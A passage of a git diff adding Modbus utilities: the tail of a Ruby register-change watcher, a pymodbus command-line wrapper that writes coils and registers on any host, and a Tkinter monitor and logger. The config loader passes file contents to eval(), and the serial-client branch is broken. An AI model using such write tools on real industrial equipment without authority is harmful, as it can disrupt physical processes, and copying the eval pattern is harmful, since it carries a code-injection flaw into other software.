0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + 